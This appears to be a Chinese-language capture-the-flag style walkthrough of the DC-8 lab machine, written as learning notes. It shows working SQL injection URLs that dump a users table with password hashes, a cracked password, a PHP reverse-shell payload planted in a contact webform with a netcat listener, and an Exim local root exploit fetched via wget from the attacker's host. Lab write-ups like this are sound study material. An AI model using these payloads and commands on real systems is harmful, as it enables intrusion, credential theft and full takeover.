信息搜集
nmap -sP 192.168.146.0/24 #主机发现
nmap -A 192.168.146.146 #Enable OS detection, version detection, script scanning, and traceroute
点击Detail的三个栏目,发现url变成http://192.168.146.146/?nid=3
测试一下存在注入,数字型注入
http://192.168.146.146/?nid=3'
http://192.168.146.146/?nid=3%20order%20by%201
http://192.168.146.146/?nid=3%20order%20by%202 #只有1列
http://192.168.146.146/?nid=-3%20union%20select%20database() #库d7db
http://192.168.146.146/?nid=-3%20union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database() #爆表
http://192.168.146.146/?nid=-3%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27](http://192.168.146.146/?nid=-3 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') #爆列
http://192.168.146.146/?nid=-3%20union%20select%20group_concat(uid,%27%20|%20%27,name,%27%20|%20%27,pass,%27%20|%20%27,mail,%27%20|%20%27,theme,%27%20|%20%27,signature,%27%20|%20%27,signature_format,%27%20|%20%27,created,%27%20|%20%27,access,%27%20|%20%27,login,%27%20|%20%27,status,%27%20|%20%27,timezone,%27%20|%20%27,language,%27%20|%20%27,picture,%27%20|%20%27,init,%27%20|%20%27,data)%20from%20users](http://192.168.146.146/?nid=-3 union select group_concat(uid,' | ',name,' | ',pass,' | ',mail,' | ',theme,' | ',signature,' | ',signature_format,' | ',created,' | ',access,' | ',login,' | ',status,' | ',timezone,' | ',language,' | ',picture,' | ',init,' | ',data) from users) #爆字段
两个用户分别是admin和john(这里估计是个提示,直接用kali的john爆破john的密码)
$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
步骤如下:
echo '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF' > pwd
john pwd --wordlist=/usr/share/wordlists/rockyou.txt #密码turtle
getFlag
接下来就是要找登陆页面了,扫描一下发现robots.txt,访问看看有什么路径和文件。
浏览后台找可以写php code的地方。
最后在contact us - webform中找到
箭头指的话说了提交成功后显示。那么就在contact us页面随便填写并提交,看到了phpinfo页面。
老样子反弹shell,渗透机nc -lvvp 4444
//网页编辑器中的内容
$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>
然后提交contact us即可得到反弹的shell
python -c 'import pty; pty.spawn("/bin/bash")' #交互式shell
尝试sudo提权sudo -l #不可行
尝试suid提权find / -perm -u=s -type f 2>/dev/null
查看一下靶机的exim版本 exim --version #4.89
有个现成的提权脚本。
提出来到web目录下,然后在靶机直接下载
root@kali:~# cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html
root@kali:/var/www/html# service apache2 start #开启apache2服务
www-data@dc-8:/tmp$ wget http://192.168.146.132/46996.sh #靶机上下载
www-data@dc-8:/tmp$ chmod 777 46996.sh #分配权限
#执行的时候一直报错
那就自己复制代码,然后在靶机vi写入文件试试。
#https://www.exploit-db.com/exploits/46996
www-data@dc-8:/tmp$ vi A1oe.sh #然后按i , ctrl-shift-v粘贴
www-data@dc-8:/tmp$ chmod 777 A1oe.sh #分配权限
www-data@dc-8:/tmp$ ./A1oe.sh #执行
# 查看帮助或者源代码后直接使用
$ ./A1oe.sh -m setuid
$ ./A1oe.sh -m netcat #提升为root
好像如果不用交互式命令的话,过一段时间会自动断开,那么也可以再反弹一个shell。
总结
这次玩靶机回顾了下最基础的sql注入。。
学习了suid提权中的exim提权。